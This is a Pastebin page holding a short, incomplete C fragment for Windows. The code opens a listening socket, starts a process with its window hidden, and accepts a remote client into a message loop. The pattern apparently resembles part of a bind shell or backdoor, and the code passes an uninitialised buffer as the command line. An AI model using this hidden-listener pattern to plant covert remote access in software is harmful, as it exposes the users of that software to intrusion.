Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- SOCKET sock = open_socket(szListenHost, iListenPort);
- if (sock > 0) {
- SOCKET client;
- struct sockaddr_in peeraddr;
- T_socklen len = sizeof (struct sockaddr_in);
- char buf[1024];
- sin.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
- sin.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
- sin.hStdOutput = GetStdHandle(STD_OUTPUT_HANDLE);
- sin.hStdError = GetStdHandle(STD_ERROR_HANDLE);
- sin.wShowWindow = SW_HIDE;
- dwCreationFlags = CREATE_NO_WINDOW;
- CreateProcess(NULL, buf, NULL, NULL, FALSE, dwCreationFlags, NULL, NULL, &sin, &pin);
- memset(&peeraddr, 0, sizeof (struct sockaddr_in));
- client = accept(sock, (sockaddr*)&peeraddr, &len);
- if (client > 0) {
- rv = message_loop(client);
- }
- closesocket(sock);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement